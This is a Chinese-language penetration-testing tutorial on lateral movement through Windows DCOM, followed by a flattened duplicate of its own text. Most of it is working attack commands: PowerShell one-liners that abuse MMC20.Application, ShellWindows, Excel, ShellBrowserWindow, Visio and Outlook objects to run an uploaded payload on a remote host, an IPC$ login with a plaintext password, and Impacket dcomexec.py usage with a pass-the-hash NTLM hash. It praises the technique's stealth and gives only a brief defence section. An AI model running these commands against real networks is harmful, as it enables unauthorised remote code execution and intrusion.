内网渗透|利用 DCOM 进行横向渗透
字数 1186 2025-08-09 17:09:31

内网渗透:利用DCOM进行横向渗透技术详解

一、COM与DCOM基础概念

1. COM(组件对象模型)

  • 定义:COM(Component Object Model)是基于Windows平台的组件对象接口标准
  • 组成:由一组构造规范和组件对象库组成
  • 特点
    • 使用接口而非方法描述自身
    • 接口是一组函数指针表,每个指针指向具体函数体
    • 组件对象可实现无限数量的接口
  • 应用:Windows媒体播放器、Windows Server等微软产品的基础

2. DCOM(分布式组件对象模型)

  • 定义:微软基于COM的扩展,支持不同机器间组件通信
  • 工作原理
    • 使用RPC(远程过程调用)技术扩展COM功能
    • 允许应用程序实例化和访问远程计算机上的COM对象
  • 攻击利用价值
    • 可在拥有适当权限情况下通过Office等应用程序远程执行命令
    • 执行进程会托管在COM服务器端软件中(如explorer.exe),隐蔽性强

二、本地DCOM命令执行技术

1. 获取DCOM程序列表

  • PowerShell 3.0+命令:
    Get-CimInstance Win32_DCOMApplication
    
  • PowerShell 2.0替代命令:
    Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication
    

2. 利用MMC20.Application执行本地命令

# 创建MMC20.Application实例
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "127.0.0.1"))

# 枚举对象方法和属性
$com.Document.ActiveView | Get-Member

# 使用ExecuteShellCommand方法执行命令
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe', $null, "/c calc.exe", "Minimized")

三、远程DCOM横向渗透技术

1. 利用条件

  • 具有管理员权限的PowerShell
  • 可能需要关闭目标系统防火墙
  • 使用域管账户或目标主机管理员权限账户

2. 常用DCOM对象及利用方法

(1) MMC20.Application

# 完整单行命令
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "192.168.52.138")).Document.ActiveView.ExecuteShellCommand('cmd.exe', $null, "/c C:\shell.exe", "Minimized")

(2) ShellWindows

# 完整单行命令
[Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39', "192.168.52.138")).item().Document.Application.ShellExecute("cmd.exe", "/c C:\shell.exe", "c:\windows\system32", $null, 0)

(3) Excel.Application

$com = [activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application", "192.168.52.138"))
$com.DisplayAlerts = $false
$com.DDEInitiate("cmd.exe", "/c C:\shell.exe")

(4) ShellBrowserWindow

# 适用于Win10和Win Server 2012 R2+
[activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880", "192.168.52.138")).Document.Application.shellExecute("C:\shell.exe")

(5) Visio.Application

# 需目标安装Visio
[activator]::CreateInstance([type]::GetTypeFromProgID("Visio.Application", "192.168.52.138")).[0].Document.Application.shellExecute("C:\shell.exe")

(6) Outlook.Application

# 需目标安装Outlook
[activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.Application", "192.168.52.138")).createObject("Shell.Application").shellExecute("C:\shell.exe")

3. 利用流程示例(以MMC20.Application为例)

  1. 建立IPC连接:
    net use \\192.168.52.138\ipc$ "Liu78963" /user:Aministrator
    
  2. 上传恶意程序到目标主机
  3. 通过PowerShell执行DCOM命令:
    $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "192.168.52.138"))
    $com.Document.ActiveView.ExecuteShellCommand('cmd.exe', $null, "/c C:\shell.exe", "Minimized")
    

四、Impacket工具中的dcomexec.py

1. 功能特点

  • 提供半交互式shell
  • 支持MMC20.Application、ShellWindows和ShellBrowserWindow对象

2. 使用方法

# 基本格式
./dcomexec.py domain/username:password@ip
./dcomexec.py domain/username:password@ip <command>

# 通过代理使用示例
proxychains4 python3 ./dcomexec.py god/administrator:Liu78963@192.168.10.20
proxychains4 python3 ./dcomexec.py god/administrator:Liu78963@192.168.10.20 whoami

# 使用哈希认证
proxychains4 python3 ./dcomexec.py administrator:@192.168.52.143 whoami -hashes aad3b435b51404eeaad3b435b51404ee:d8f69f9520b448174136e49a1051ef07

五、防御措施

  1. 启用域防火墙:默认会阻止DCOM对象实例化
  2. 强化防火墙配置:防止攻击者远程篡改或关闭防火墙
  3. 参考防御指南

六、技术优势与特点

  1. 隐蔽性强

    • 执行进程托管在合法COM服务器端软件中
    • 如explorer.exe等常见进程,难以监测
  2. 适用范围广

    • 适用于Windows 7~10、Windows Server 2008~2016
    • 多种DCOM对象可供选择利用
  3. 灵活性高

    • 不强制要求事先建立IPC连接
    • 仅需当前主机管理员权限即可实施

七、参考资源

  1. DCOM技术原理与渗透利用
  2. 域渗透-利用DCOM在远程系统执行程序
内网渗透:利用DCOM进行横向渗透技术详解 一、COM与DCOM基础概念 1. COM(组件对象模型) 定义 :COM(Component Object Model)是基于Windows平台的组件对象接口标准 组成 :由一组构造规范和组件对象库组成 特点 : 使用接口而非方法描述自身 接口是一组函数指针表,每个指针指向具体函数体 组件对象可实现无限数量的接口 应用 :Windows媒体播放器、Windows Server等微软产品的基础 2. DCOM(分布式组件对象模型) 定义 :微软基于COM的扩展,支持不同机器间组件通信 工作原理 : 使用RPC(远程过程调用)技术扩展COM功能 允许应用程序实例化和访问远程计算机上的COM对象 攻击利用价值 : 可在拥有适当权限情况下通过Office等应用程序远程执行命令 执行进程会托管在COM服务器端软件中(如explorer.exe),隐蔽性强 二、本地DCOM命令执行技术 1. 获取DCOM程序列表 PowerShell 3.0+命令: PowerShell 2.0替代命令: 2. 利用MMC20.Application执行本地命令 三、远程DCOM横向渗透技术 1. 利用条件 具有管理员权限的PowerShell 可能需要关闭目标系统防火墙 使用域管账户或目标主机管理员权限账户 2. 常用DCOM对象及利用方法 (1) MMC20.Application (2) ShellWindows (3) Excel.Application (4) ShellBrowserWindow (5) Visio.Application (6) Outlook.Application 3. 利用流程示例(以MMC20.Application为例) 建立IPC连接: 上传恶意程序到目标主机 通过PowerShell执行DCOM命令: 四、Impacket工具中的dcomexec.py 1. 功能特点 提供半交互式shell 支持MMC20.Application、ShellWindows和ShellBrowserWindow对象 2. 使用方法 五、防御措施 启用域防火墙 :默认会阻止DCOM对象实例化 强化防火墙配置 :防止攻击者远程篡改或关闭防火墙 参考防御指南 : DCOM横向移动防御详细方案 六、技术优势与特点 隐蔽性强 : 执行进程托管在合法COM服务器端软件中 如explorer.exe等常见进程,难以监测 适用范围广 : 适用于Windows 7~10、Windows Server 2008~2016 多种DCOM对象可供选择利用 灵活性高 : 不强制要求事先建立IPC连接 仅需当前主机管理员权限即可实施 七、参考资源 DCOM技术原理与渗透利用 域渗透-利用DCOM在远程系统执行程序